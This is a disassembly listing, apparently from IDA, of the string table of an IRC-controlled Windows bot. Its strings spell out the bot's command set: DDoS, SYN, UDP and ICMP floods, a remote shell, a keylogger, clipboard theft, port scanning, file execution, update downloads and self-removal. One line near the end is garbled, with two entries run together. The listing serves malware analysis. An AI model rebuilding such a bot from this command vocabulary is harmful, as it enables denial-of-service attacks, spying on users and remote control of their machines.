aRloginstop db 'rloginstop',0 ; DATA XREF: seg000:00403CD7o
align 10h
aServer_2 db 'Server',0 ; DATA XREF: seg000:00403CF0o
align 4
aRlogind db '[RLOGIND]',0 ; DATA XREF: seg000:00403CF5o
align 4
aHttpstop db 'httpstop',0 ; DATA XREF: seg000:00403D00o
align 10h
aServer_3 db 'Server',0 ; DATA XREF: seg000:00403D19o
align 4
aHttpd db '[HTTPD]',0 ; DATA XREF: seg000:00403D1Eo
aLogstop db 'logstop',0 ; DATA XREF: seg000:00403D29o
aLogList db 'Log list',0 ; DATA XREF: seg000:00403D42o
align 4
aLog db '[LOG]',0 ; DATA XREF: seg000:00403D47o
align 4
aRedirectstop db 'redirectstop',0 ; DATA XREF: seg000:00403D52o
align 4
aTcpRedirect db 'TCP redirect',0 ; DATA XREF: seg000:00403D6Bo
align 4
aRedirect db '[REDIRECT]',0 ; DATA XREF: seg000:00403D70o
align 4
aDdos_stop db 'ddos.stop',0 ; DATA XREF: seg000:00403D7Bo
align 4
aDdosFlood db 'DDoS flood',0 ; DATA XREF: seg000:00403D94o
align 10h
aDdos db '[DDoS]',0 ; DATA XREF: seg000:00403D99o
align 4
aSynstop db 'synstop',0 ; DATA XREF: seg000:00403DA4o
aSynFlood db 'Syn flood',0 ; DATA XREF: seg000:00403DBDo
align 4
aSyn_0 db '[SYN]',0 ; DATA XREF: seg000:00403DC2o
align 4
aUdpstop db 'udpstop',0 ; DATA XREF: seg000:00403DCDo
aUdpFlood db 'UDP flood',0 ; DATA XREF: seg000:00403DE6o
align 4
aUpd db '[UPD]',0 ; DATA XREF: seg000:00403DEBo
align 10h
aPingstop db 'pingstop',0 ; DATA XREF: seg000:00403DF6o
align 4
aPingFlood db 'Ping flood',0 ; DATA XREF: seg000:00403E0Fo
align 4
aPing_0 db '[PING]',0 ; DATA XREF: seg000:00403E14o
align 10h
aTftpstop db 'tftpstop',0 ; DATA XREF: seg000:00403E1Fo
align 4
aServer_4 db 'Server',0 ; DATA XREF: seg000:00403E38o
align 4
aTftp_0 db '[TFTP]',0 ; DATA XREF: seg000:00403E3Do
align 4
aProcsstop db 'procsstop',0 ; DATA XREF: seg000:00403E48o
align 4
aPsstop db 'psstop',0 ; DATA XREF: seg000:00403E5Do
align 10h
aProcessList db 'Process list',0 ; DATA XREF: seg000:004081FDo
align 10h
aProc db '[PROC]',0 ; DATA XREF: seg000:00408202o
align 4
aClonestop db 'clonestop',0 ; DATA XREF: seg000:00403E72o
align 4
aClone db 'Clone',0 ; DATA XREF: seg000:00403E8Bo
align 4
aClones db '[CLONES]',0 ; DATA XREF: seg000:00403E90o
align 4
aSecurestop db 'securestop',0 ; DATA XREF: seg000:00403E9Bo
align 4
aSecure db 'Secure',0 ; DATA XREF: seg000:00403EB4o
align 4
aSecure_0 db '[SECURE]',0 ; DATA XREF: seg000:00403EB9o
align 4
aScanstop db 'scanstop',0 ; DATA XREF: seg000:00403EC4o
align 4
aScan_0 db 'Scan',0 ; DATA XREF: seg000:00403EDDo
align 4
aScan_1 db '[SCAN]',0 ; DATA XREF: seg000:00403EE2o
align 4
aScanstats db 'scanstats',0 ; DATA XREF: seg000:00403EEDo
align 10h
aStats db 'stats',0 ; DATA XREF: seg000:00403F02o
align 4
aReconnect db 'reconnect',0 ; DATA XREF: seg000:00403F17o
align 4
aR: ; DATA XREF: seg000:00403F2Co
unicode 0, <r>,0
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_4081BDo
align 10h
aMainReconnecti db '[MAIN]: Reconnecting.',0 ; DATA XREF: seg000:004081CAo
align 4
aDisconnect db 'disconnect',0 ; DATA XREF: seg000:00403F41o
align 4
aDc db 'dc',0 ; DATA XREF: seg000:00403F56o
align 4
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40819Bo
align 10h
aMainDisconnect db '[MAIN]: Disconnecting.',0 ; DATA XREF: seg000:004081A8o
align 4
aQuit_0 db 'quit',0 ; DATA XREF: seg000:00403F6Bo
align 10h
aQ: ; DATA XREF: seg000:00403F80o
unicode 0, <q>,0
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00408173o
align 10h
aQuitLater_0 db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_408185o
align 10h
aStatus db 'status',0 ; DATA XREF: seg000:00403F95o
align 4
aS_0: ; DATA XREF: seg000:00403FAAo
unicode 0, <s>,0
aMainStatusRead db '[MAIN]: Status: Ready. Bot Uptime: %s.',0 ; DATA XREF: seg000:00408127o
align 4
aId db 'id',0 ; DATA XREF: seg000:00403FBFo
align 4
aI_0: ; DATA XREF: seg000:00403FD4o
unicode 0, <i>,0
aMainBotIdS_ db '[MAIN]: Bot ID: %s.',0 ; DATA XREF: seg000:004080E9o
aReboot db 'reboot',0 ; DATA XREF: seg000:00403FE9o
align 4
aMainRebootingS db '[MAIN]: Rebooting system.',0 ; DATA XREF: seg000:00404000o
align 4
aMainFailedToRe db '[MAIN]: Failed to reboot system.',0 ; DATA XREF: seg000:00404007o
align 4
aThreads db 'threads',0 ; DATA XREF: seg000:0040403Bo
aT: ; DATA XREF: seg000:00404050o
unicode 0, <t>,0
aSub db 'sub',0 ; DATA XREF: seg000:0040802Do
aThreadsListThr db '[THREADS]: List threads.',0 ; DATA XREF: seg000:00408053o
align 4
aThreadsFaile_0 db '[THREADS]: Failed to start list thread, error: <%d>.',0
; DATA XREF: seg000:004080BEo
align 4
aAliases db 'aliases',0 ; DATA XREF: seg000:00404065o
aAl db 'al',0 ; DATA XREF: seg000:0040407Ao
align 4
aMainAliasList_ db '[MAIN]: Alias list.',0 ; DATA XREF: seg000:00407FDEo
aLog990 db 'log990',0 ; DATA XREF: seg000:0040408Fo
align 4
aLg909 db 'lg909',0 ; DATA XREF: seg000:004040A4o
align 4
aS_18 db '%s',0 ; DATA XREF: seg000:00407F03o
align 10h
aLogListingLog_ db '[LOG]: Listing log.',0 ; DATA XREF: seg000:00407F36o
aLogFailedToSta db '[LOG]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: seg000:00407FC3o
aClearlog db 'clearlog',0 ; DATA XREF: seg000:004040B9o
align 4
aClg db 'clg',0 ; DATA XREF: seg000:004040CEo
aNetinfo db 'netinfo',0 ; DATA XREF: seg000:004040E3o
aNi db 'ni',0 ; DATA XREF: seg000:004040F8o
align 4
aMainNetworkInf db '[MAIN]: Network Info.',0 ; DATA XREF: seg000:00407EB2o
align 4
aSysinfo db 'sysinfo',0 ; DATA XREF: seg000:0040410Do
aSi db 'si',0 ; DATA XREF: seg000:00404122o
align 4
aMainSystemInfo db '[MAIN]: System Info.',0 ; DATA XREF: seg000:00407E83o
align 10h
aR010m db 'r010m',0 ; DATA XREF: seg000:00404137o
align 4
aR010m_0 db 'r010m',0 ; DATA XREF: seg000:0040414Co
align 10h
aMainRemovingBo db '[MAIN]: Removing Bot.',0 ; DATA XREF: seg000:00407E2Eo
align 4
aProcs db 'procs',0 ; DATA XREF: seg000:00404161o
align 10h
aPs db 'ps',0 ; DATA XREF: seg000:00404176o
align 4
aProcAlreadyRun db '[PROC]: Already running.',0 ; DATA XREF: seg000:00407D1Bo
align 10h
aFull db 'full',0 ; DATA XREF: seg000:00407D7Do
align 4
aProcsProccessL db '[PROCS]: Proccess list.',0 ; DATA XREF: seg000:00407D9Do
aProcsFailedToS db '[PROCS]: Failed to start listing thread, error: <%d>.',0
; DATA XREF: seg000:00407E12o
align 4
aUptime90 db 'uptime90',0 ; DATA XREF: seg000:0040418Bo
align 4
aUp909 db 'up909',0 ; DATA XREF: seg000:004041A0o
align 4
aMainUptimeS_ db '[MAIN]: Uptime: %s.',0 ; DATA XREF: seg000:00407CCDo
aDriveinfo db 'driveinfo',0 ; DATA XREF: seg000:004041B5o
align 4
aDrv db 'drv',0 ; DATA XREF: seg000:004041CAo
aTestdlls db 'testdlls',0 ; DATA XREF: seg000:004041DFo
align 4
aDll db 'dll',0 ; DATA XREF: seg000:004041F4o
aOpencmd db 'opencmd',0 ; DATA XREF: seg000:00404209o
aOcmd db 'ocmd',0 ; DATA XREF: seg000:0040421Eo
align 10h
aCmdRemoteShell db '[CMD]: Remote shell already running.',0 ; DATA XREF: seg000:00407C0Do
align 4
aCmdCouldnTOpen db '[CMD]: Couldn',27h,'t open remote shell.',0
; DATA XREF: seg000:00407C29o
align 4
aCmdRemoteShe_0 db '[CMD]: Remote shell ready.',0 ; DATA XREF: seg000:loc_407C30o
align 4
aCmdstop db 'cmdstop',0 ; DATA XREF: seg000:00404233o
aRemoteShell db 'Remote shell',0 ; DATA XREF: seg000:0040424Co
align 10h
aCmd db '[CMD]',0 ; DATA XREF: seg000:00404251o
align 4
aWho db 'who',0 ; DATA XREF: seg000:0040425Co
aLoginList db '-[Login List]-',0 ; DATA XREF: seg000:00404275o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: seg000:00404297o
aD_S db '%d. %s',0 ; DATA XREF: seg000:004042A4o
align 4
aMainLoginListC db '[MAIN]: Login list complete.',0 ; DATA XREF: seg000:004042D8o
align 4
aGetclip db 'getclip',0 ; DATA XREF: seg000:004042E9o
aGc db 'gc',0 ; DATA XREF: seg000:004042FEo
align 4
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:00407BC9o
align 4
aMainGetClipboa db '[MAIN]: Get Clipboard.',0 ; DATA XREF: seg000:00407BF7o
align 4
aFlusharp db 'flusharp',0 ; DATA XREF: seg000:00404313o
align 10h
aFarp db 'farp',0 ; DATA XREF: seg000:00404328o
align 4
aFlushdnsArpCac db '[FLUSHDNS]: ARP cache flushed.',0 ; DATA XREF: seg000:00407B9Eo
align 4
aFlushdnsFail_1 db '[FLUSHDNS]: Failed to flush ARP cache.',0
; DATA XREF: seg000:loc_407BA5o
align 10h
aFlushdns db 'flushdns',0 ; DATA XREF: seg000:0040433Do
align 4
aFdns db 'fdns',0 ; DATA XREF: seg000:00404352o
align 4
aFlushdnsDnsCac db '[FLUSHDNS]: DNS cache flushed.',0 ; DATA XREF: seg000:00407B80o
align 4
aFlushdnsFailed db '[FLUSHDNS]: Failed to flush DNS cache.',0
; DATA XREF: seg000:loc_407B87o
align 4
aFlushdnsFail_0 db '[FLUSHDNS]: Failed to load dnsapi.dll.',0
; DATA XREF: seg000:loc_407B8Eo
align 4
aCurrentip db 'currentip',0 ; DATA XREF: seg000:00404367o
align 10h
aCip db 'cip',0 ; DATA XREF: seg000:0040437Co
aRloginserver db 'rloginserver',0 ; DATA XREF: seg000:00404391o
align 4
aRlogin db 'rlogin',0 ; DATA XREF: seg000:004043A6o
align 4
aRlogindServerL db '[RLOGIND]: Server listening on IP: %s:%d, Username: %s.',0
; DATA XREF: seg000:00407A97o
aRlogindFailedT db '[RLOGIND]: Failed to start server thread, error: <%d>.',0
; DATA XREF: seg000:00407B02o
align 4
aHttpserver db 'httpserver',0 ; DATA XREF: seg000:004043BBo
align 4
aHttp db 'http',0 ; DATA XREF: seg000:004043D0o
align 10h
aHttpdServerLis db '[HTTPD]: Server listening on IP: %s:%d, Directory: %s\.',0
; DATA XREF: seg000:0040795Fo
aHttpdFailedToS db '[HTTPD]: Failed to start server thread, error: <%d>.',0
; DATA XREF: seg000:004079CEo
align 10h
aTftpserver db 'tftpserver',0 ; DATA XREF: seg000:004043E5o
align 4
aTftp db 'tftp',0 ; DATA XREF: seg000:004043FAo
align 4
aTftpAlreadyRun db '[TFTP]: Already running.',0 ; DATA XREF: seg000:00407722o
align 10h
aTftpServerStar db '[TFTP]: Server started on Port: %d, File: %s, Request: %s.',0
; DATA XREF: seg000:004077E9o
align 4
aTftpFailedToSt db '[TFTP]: Failed to start server thread, error: <%d>.',0
; DATA XREF: seg000:00407858o
aScanall db 'scanall',0 ; DATA XREF: seg000:0040440Fo
aVall db 'vall',0 ; DATA XREF: seg000:00404424o
align 10h
aScanAlreadyD_0 db '[SCAN]: Already %d scanning threads. Too many specified.',0
; DATA XREF: seg000:0040746Ao
align 4
aScanFailedTo_4 db '[SCAN]: Failed to start scan, port is invalid.',0
; DATA XREF: seg000:loc_40770Co
align 4
aRandom_1 db 'Random',0 ; DATA XREF: seg000:0040761Bo
align 4
aSequential_0 db 'Sequential',0 ; DATA XREF: seg000:00407622o
align 10h
aScanSPortSca_0 db '[SCAN]: %s Port Scan started on %s:%d with a delay of %d seconds '
; DATA XREF: seg000:0040764Do
db 'for %d minutes using %d threads.',0
align 4
aScanFailedTo_3 db '[SCAN]: Failed to start scan thread, error: <%d>.',0
; DATA XREF: seg000:004076BEo
align 4
aNick_0 db 'nick',0 ; DATA XREF: seg000:0040444Ao
align 10h
aN: ; DATA XREF: seg000:00404461o
unicode 0, <n>,0
aNickS_1 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: seg000:00407403o
align 10h
aMainNickChange db '[MAIN]: Nick changed to: ',27h,'%s',27h,'.',0
; DATA XREF: seg000:00407411o
align 10h
aJoin db 'join',0 ; DATA XREF: seg000:00404478o
align 4
aJ: ; DATA XREF: seg000:0040448Fo
unicode 0, <j>,0
aJoinSS_3 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:004073EAo
align 4
aMainJoinedCh_0 db '[MAIN]: Joined channel: ',27h,'%s',27h,'.',0
; DATA XREF: seg000:004073F8o
align 4
aPart_1 db 'part',0 ; DATA XREF: seg000:004044A6o
align 4
aPt db 'pt',0 ; DATA XREF: seg000:004044BDo
align 4
aPartS_1 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: seg000:004073CAo
align 4
aMainPartedChan db '[MAIN]: Parted channel: ',27h,'%s',27h,'.',0
; DATA XREF: seg000:004073D8o
align 4
aRaw db 'raw',0 ; DATA XREF: seg000:004044D4o
aR_1: ; DATA XREF: seg000:004044EBo
unicode 0, <r>,0
aS_26 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:004073B1o
align 4
aMainIrcRawS_ db '[MAIN]: IRC Raw: %s.',0 ; DATA XREF: seg000:004073BFo
align 4
aKillthread db 'killthread',0 ; DATA XREF: seg000:00404502o
align 4
aK: ; DATA XREF: seg000:00404519o
unicode 0, <k>,0
aAll db 'all',0 ; DATA XREF: seg000:004072D0o
aThreadsStopped db '[THREADS]: Stopped: %d thread(s).',0 ; DATA XREF: seg000:004072EAo
align 4
aThreadsNoActiv db '[THREADS]: No active threads found.',0 ; DATA XREF: seg000:loc_4072F4o
aThreadsKilledT db '[THREADS]: Killed thread: %s.',0 ; DATA XREF: seg000:0040733Ao
align 4
aThreadsFailedT db '[THREADS]: Failed to kill thread: %s.',0 ; DATA XREF: seg000:loc_407341o
align 10h
aC_quit db 'c_quit',0 ; DATA XREF: seg000:00404530o
align 4
aC_q db 'c_q',0 ; DATA XREF: seg000:00404547o
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:00407245o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: seg000:0040455Eo
align 4
aC_rn db 'c_rn',0 ; DATA XREF: seg000:00404575o
align 10h
aNickS_0 db 'NICK %s',0 ; DATA XREF: seg000:00407205o
aS_17 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040721Ao
align 10h
aPrefix db 'prefix',0 ; DATA XREF: seg000:0040458Co
align 4
aPr db 'pr',0 ; DATA XREF: seg000:004045A3o
align 4
aMainPrefixChan db '[MAIN]: Prefix changed to: ',27h,'%c',27h,'.',0
; DATA XREF: seg000:004071C3o
align 10h
aOpen db 'open',0 ; DATA XREF: seg000:004045BAo
align 4
aO: ; DATA XREF: seg000:004045D1o
unicode 0, <o>,0
aOpen_1 db 'open',0 ; DATA XREF: seg000:00407193o
align 4
aShellFileOpene db '[SHELL]: File opened: %s',0 ; DATA XREF: seg000:004071A4o
align 10h
aShellCouldnTOp db '[SHELL]: Couldn',27h,'t open file: %s',0 ; DATA XREF: seg000:loc_4071AEo
aServer db 'server',0 ; DATA XREF: seg000:004045E8o
align 4
aSe db 'se',0 ; DATA XREF: seg000:004045FFo
align 4
aMainServerChan db '[MAIN]: Server changed to: ',27h,'%s',27h,'.',0
; DATA XREF: seg000:0040717Bo
align 10h
aDns db 'dns',0 ; DATA XREF: seg000:00404616o
aDn db 'dn',0 ; DATA XREF: seg000:0040462Do
align 4
aDnsLookupSS_ db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:00407117o
align 4
aDnsLookupSS__0 db '[DNS]: Lookup: %s -> %s.',0 ; DATA XREF: seg000:0040714Ao
align 10h
aDnsCouldnTReso db '[DNS]: Couldn',27h,'t resolve hostname.',0
; DATA XREF: seg000:loc_407151o
align 4
aKillproc db 'killproc',0 ; DATA XREF: seg000:00404644o
align 10h
aKp db 'kp',0 ; DATA XREF: seg000:0040465Bo
align 4
aProcProcessK_0 db '[PROC]: Process killed: %s',0 ; DATA XREF: seg000:004070DFo
align 10h
aProcFailedTo_0 db '[PROC]: Failed to terminate process: %s',0
; DATA XREF: seg000:loc_4070E9o
aKill db 'kill',0 ; DATA XREF: seg000:00404672o
align 10h
aKi db 'ki',0 ; DATA XREF: seg000:00404689o
align 4
aProcProcessKil db '[PROC]: Process killed ID: %s',0 ; DATA XREF: seg000:00407082o
align 4
aProcFailedToTe db '[PROC]: Failed to terminate process ID: %s',0
; DATA XREF: seg000:loc_407089o
align 10h
aDelete db 'delete',0 ; DATA XREF: seg000:004046A0o
align 4
aDel db 'del',0 ; DATA XREF: seg000:004046B7o
aFileDeletedS_ db '[FILE]: Deleted ',27h,'%s',27h,'.',0
align 4
aFile_3 db '[FILE]:',0 ; DATA XREF: seg000:00407048o
aList db 'list',0 ; DATA XREF: seg000:004046CEo
align 4
aLi db 'li',0 ; DATA XREF: seg000:004046E5o
align 4
aFileListS db '[FILE]: List: %s',0 ; DATA XREF: seg000:0040702Bo
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: seg000:004046FCo
aMirc db 'mirc',0 ; DATA XREF: seg000:00404713o
align 4
aMircClientNotO db '[mIRC]: Client not open.',0 ; DATA XREF: seg000:00407006o
align 4
aMircCommandSen db '[mIRC]: Command sent.',0 ; DATA XREF: seg000:loc_407010o
align 10h
aCmd_0 db 'cmd',0 ; DATA XREF: seg000:0040472Ao
aCm db 'cm',0 ; DATA XREF: seg000:00404741o
align 4
asc_43EA58: ; DATA XREF: seg000:00406FB2o
dw 0Ah
unicode 0, <>,0
aCmdErrorSendin db '[CMD]: Error sending to remote shell.',0 ; DATA XREF: seg000:00406FCAo
align 4
aCmdCommandsS db '[CMD]: Commands: %s',0 ; DATA XREF: seg000:00406FD5o
aReadfile db 'readfile',0 ; DATA XREF: seg000:00404758o
align 4
aRf db 'rf',0 ; DATA XREF: seg000:0040476Fo
align 4
aR_0: ; DATA XREF: seg000:loc_406F0Fo
unicode 0, <r>,0
aMainReadFileCo db '[MAIN]: Read file complete: %s',0 ; DATA XREF: seg000:00406F76o
align 4
aMainReadFileFa db '[MAIN]: Read file failed: %s',0 ; DATA XREF: seg000:00406F8Ao
align 4
aIdent db 'ident',0 ; DATA XREF: seg000:00404786o
align 4
aOn db 'on',0 ; DATA XREF: seg000:0040479Bo
align 4
aIdentAlreadyRu db '[IDENT]: Already running.',0 ; DATA XREF: seg000:004047B7o
align 4
aIdentdServerRu db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: seg000:004047C7o
align 4
aIdentdFailedTo db '[IDENTD]: Failed to start server, error: <%d>.',0
; DATA XREF: seg000:00404814o
align 4
aOff db 'off',0 ; DATA XREF: seg000:0040481Fo
aIdentServerSto db '[IDENT]: Server stopped. (%d thread(s) stopped.)',0
; DATA XREF: seg000:00404842o
align 4
aIdentNoThreadF db '[IDENT]: No thread found.',0 ; DATA XREF: seg000:loc_40484Co
align 10h
aKeylog db 'keylog',0 ; DATA XREF: seg000:00404859o
align 4
aOn_0 db 'on',0 ; DATA XREF: seg000:0040486Eo
align 4
aFile db 'file',0 ; DATA XREF: seg000:0040487Fo
align 4
aKeylogAlreadyR db '[KEYLOG]: Already running.',0 ; DATA XREF: seg000:004048D3o
align 10h
aFile_0 db 'file',0 ; DATA XREF: seg000:004048EAo
align 4
aKeylogKeyLog_0 db '[KEYLOG]: Key logger active.',0 ; DATA XREF: seg000:00404954o
align 4
aKeylogFailedTo db '[KEYLOG]: Failed to start logging thread, error: <%d>.',0
; DATA XREF: seg000:004049C3o
align 10h
aOff_0 db 'off',0 ; DATA XREF: seg000:00404890o
aKeylogKeyLogge db '[KEYLOG]: Key logger stopped. (%d thread(s) stopped.)',0
; DATA XREF: seg000:004048B3o
align 4
aKeylogNoKeyLog db '[KEYLOG]: No key logger thread found.',0 ; DATA XREF: seg000:loc_4048BDo
align 4
aNet db 'net',0 ; DATA XREF: seg000:004049D0o
aStart db 'start',0 ; DATA XREF: seg000:00404A27o
align 10h
aS_1 db '%s',0 ; DATA XREF: seg000:00404A47o
align 4
aNetServiceList db '[NET]: Service list completed.',0 ; DATA XREF: seg000:00404A78o
align 4
aNetServiceLi_0 db '[NET]: Service list failed.',0 ; DATA XREF: seg000:loc_404A82o
aStop db 'stop',0 ; DATA XREF: seg000:00404A8Do
align 4
aS_2 db '%s',0 ; DATA XREF: seg000:00404AA8o
align 4
aPause db 'pause',0 ; DATA XREF: seg000:00404AB0o
align 4
aS_3 db '%s',0 ; DATA XREF: seg000:00404ACBo
align 4
aContinue db 'continue',0 ; DATA XREF: seg000:00404AD6o
align 4
aS_4 db '%s',0 ; DATA XREF: seg000:00404AF1o
align 4
aDelete_0 db 'delete',0 ; DATA XREF: seg000:00404AFCo
align 10h
aS_5 db '%s',0 ; DATA XREF: seg000:00404B17o
align 4
aShare db 'share',0 ; DATA XREF: seg000:00404B22o
align 4
aS_6 db '%s',0 ; DATA XREF: seg000:00404B4Bo
align 10h
aS_7 db '%s',0 ; DATA XREF: seg000:00404B63o
align 4
aNetShareListCo db '[NET]: Share list completed.',0 ; DATA XREF: seg000:00404B95o
align 4
aNetShareListFa db '[NET]: Share list failed.',0 ; DATA XREF: seg000:loc_404B9Fo
align 10h
aUser db 'user',0 ; DATA XREF: seg000:00404BAAo
align 4
aS_8 db '%s',0 ; DATA XREF: seg000:00404BE3o
align 4
aS_9 db '%s',0 ; DATA XREF: seg000:00404C0Ao
align 10h
aS_10 db '%s',0 ; DATA XREF: seg000:00404C1Bo
align 4
aNetUserListCom db '[NET]: User list completed.',0 ; DATA XREF: seg000:00404C4Do
aNetUserListFai db '[NET]: User list failed.',0 ; DATA XREF: seg000:loc_404C57o
align 4
aSend_0 db 'send',0 ; DATA XREF: seg000:00404C62o
align 4
aS_11 db '%s',0 ; DATA XREF: seg000:00404C92o
align 4
aNetNoMessageSp db '[NET]: No message specified.',0 ; DATA XREF: seg000:loc_404CA5o
align 4
aNetCommandUnkn db '[NET]: Command unknown.',0 ; DATA XREF: seg000:loc_404CAFo
aNetFailedToLoa db '[NET]: Failed to load advapi32.dll or netapi32.dll.',0
; DATA XREF: seg000:004049F4o
aGethost db 'gethost',0 ; DATA XREF: seg000:00404CBCo
aGh db 'gh',0 ; DATA XREF: seg000:00404CD3o
align 10h
aSSSS_1 db '%s %s %s :%s',0 ; DATA XREF: seg000:00406E73o
align 10h
aMainGethostSCo db '[MAIN]: Gethost: %s, Command: %s',0 ; DATA XREF: seg000:00406E9Ao
align 4
aMainUnableToEx db '[MAIN]: Unable to extract Gethost command.',0
; DATA XREF: seg000:00406EB6o
align 10h
aMainGethostS_ db '[MAIN]: Gethost: %s.',0 ; DATA XREF: seg000:00406EF1o
align 4
aAddalias db 'addalias',0 ; DATA XREF: seg000:00404CFCo
align 4
aAa db 'aa',0 ; DATA XREF: seg000:00404D13o
align 4
aMainAliasAdded db '[MAIN]: Alias added: %s.',0 ; DATA XREF: seg000:00406E18o
align 4
aPrivmsg_2 db 'privmsg',0 ; DATA XREF: seg000:00404D2Ao
aPm db 'pm',0 ; DATA XREF: seg000:00404D41o
align 10h
aMainPrivmsgSS_ db '[MAIN]: Privmsg: %s: %s.',0 ; DATA XREF: seg000:00406DDDo
align 4
aAction db 'action',0 ; DATA XREF: seg000:00404D58o
align 4
aA: ; DATA XREF: seg000:00404D6Fo
unicode 0, <a>,0
dword_43EF28 dd 54434101h, 204E4F49h, 17325haMainActionSS_ db '[MAIN]: Action: %s: %s.',0 ; DATA XREF: seg000:00406D87o
aCycle db 'cycle',0 ; DATA XREF: seg000:00404D86o
align 4
aCy db 'cy',0 ; DATA XREF: seg000:00404D9Do
align 4
a332_2 db '332',0 ; DATA XREF: seg000:00406CCEo
aPartS_0 db 'PART %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406CE5o
align 4
aJoinSS_2 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406D12o
align 4
aMainCycle_ db '[MAIN]: Cycle.',0 ; DATA XREF: seg000:00406D1Fo
align 4
aMode db 'mode',0 ; DATA XREF: seg000:00404DB4o
align 10h
aM: ; DATA XREF: seg000:00404DCBo
unicode 0, <m>,0
aModeS_0 db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: seg000:00406CA8o
align 10h
aMainModeChange db '[MAIN]: Mode change: %s',0 ; DATA XREF: seg000:00406CB6o
aC_raw db 'c_raw',0 ; DATA XREF: seg000:00404DE2o
align 10h
aC_r db 'c_r',0 ; DATA XREF: seg000:00404DF9o
aS_16 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406C60o
align 4
aCloneRawSS db '[CLONE]: Raw (%s): %s',0 ; DATA XREF: seg000:00406C7Fo
align 4
aC_mode db 'c_mode',0 ; DATA XREF: seg000:00404E10o
align 4
aC_m db 'c_m',0 ; DATA XREF: seg000:00404E27o
aModeS db 'MODE %s',0 ; DATA XREF: seg000:00406BBFo
aS_15 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406BF5o
align 10h
aCloneModeSS db '[CLONE]: Mode (%s): %s',0 ; DATA XREF: seg000:00406C14o
align 4
aC_nick db 'c_nick',0 ; DATA XREF: seg000:00404E3Eo
align 10h
aC_n db 'c_n',0 ; DATA XREF: seg000:00404E55o
aNickS db 'NICK %s',0 ; DATA XREF: seg000:00406B34o
aS_14 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406B69o
align 4
aCloneNickSS db '[CLONE]: Nick (%s): %s',0 ; DATA XREF: seg000:00406B8Ao
align 4
aC_join db 'c_join',0 ; DATA XREF: seg000:00404E6Co
align 4
aC_j db 'c_j',0 ; DATA XREF: seg000:00404E83o
aJoinSS_1 db 'JOIN %s %s',0 ; DATA XREF: seg000:00406AEFo
align 4
aS_13 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406B24o
align 4
aC_part db 'c_part',0 ; DATA XREF: seg000:00404E9Ao
align 4
aC_p db 'c_p',0 ; DATA XREF: seg000:00404EB1o
aPartS db 'PART %s',0 ; DATA XREF: seg000:00406A85o
aS_12 db '%s',0Dh,0Ah,0 ; DATA XREF: seg000:00406ABAo
align 4
aRepeat db 'repeat',0 ; DATA XREF: seg000:00404EC8o
align 10h
aRp db 'rp',0 ; DATA XREF: seg000:00404EDFo
align 4
a332_1 db '332',0 ; DATA XREF: seg000:004069BCo
aRepeat_0 db 'repeat',0 ; DATA XREF: seg000:004069EAo
align 10h
aSSSS_0 db '%s %s %s :%s',0 ; DATA XREF: seg000:00406A15o
align 10h
aMainRepeatS db '[MAIN]: Repeat: %s',0 ; DATA XREF: seg000:00406A3Bo
align 4
aMainRepeatNotA db '[MAIN]: Repeat not allowed in command line: %s',0
; DATA XREF: seg000:loc_406A72o
align 4
aDelay db 'delay',0 ; DATA XREF: seg000:00404EF6o
align 4
aDe db 'de',0 ; DATA XREF: seg000:00404F0Do
align 10h
a332_0 db '332',0 ; DATA XREF: seg000:00406921o
aSSSS db '%s %s %s :%s',0 ; DATA XREF: seg000:00406962o
align 4
aMainDelay_ db '[MAIN]: Delay.',0 ; DATA XREF: seg000:loc_4069A2o
align 4
aUpdate909 db 'update909',0 ; DATA XREF: seg000:00404F24o
align 10h
aUp909_0 db 'up909',0 ; DATA XREF: seg000:00404F3Bo
align 4
aSS_exe db '%s%s.exe',0 ; DATA XREF: seg000:004067B8o
align 4
aUpdateDownload db '[UPDATE]: Downloading update from: %s.',0 ; DATA XREF: seg000:0040685Eo
align 4
aUpdateFailedTo db '[UPDATE]: Failed to start download thread, error: <%d>.',0
; DATA XREF: seg000:004068C9o
aUpdateBotIdMus db '[UPDATE]: Bot ID must be different than current running process.',0
; DATA XREF: seg000:loc_4068DFo
align 4
aExecute db 'execute',0 ; DATA XREF: seg000:00404F52o
aE: ; DATA XREF: seg000:00404F69o
unicode 0, <e>,0
aExecCouldnTExe db '[EXEC]: Couldn',27h,'t execute file.',0 ; DATA XREF: seg000:0040674Eo
align 4
aExecCommandsS db '[EXEC]: Commands: %s',0 ; DATA XREF: seg000:00406759o
align 4
aRename db 'rename',0 ; DATA XREF: seg000:00404F80o
align 4
aMv db 'mv',0 ; DATA XREF: seg000:00404F97o
align 4
aFileRenameSToS db '[FILE]: Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
; DATA XREF: seg000:00406664o
align 4
aFile_1 db '[FILE]:',0 ; DATA XREF: seg000:loc_406679o
aIcmpflood db 'icmpflood',0 ; DATA XREF: seg000:00404FAEo
align 4
aIcmp db 'icmp',0 ; DATA XREF: seg000:00404FC5o
align 4
aIcmpFloodingSF db '[ICMP]: Flooding: (%s) for %s seconds.',0 ; DATA XREF: seg000:004065BEo
align 4
aIcmpFailedToSt db '[ICMP]: Failed to start flood thread, error: <%d>.',0
; DATA XREF: seg000:00406638o
align 10h
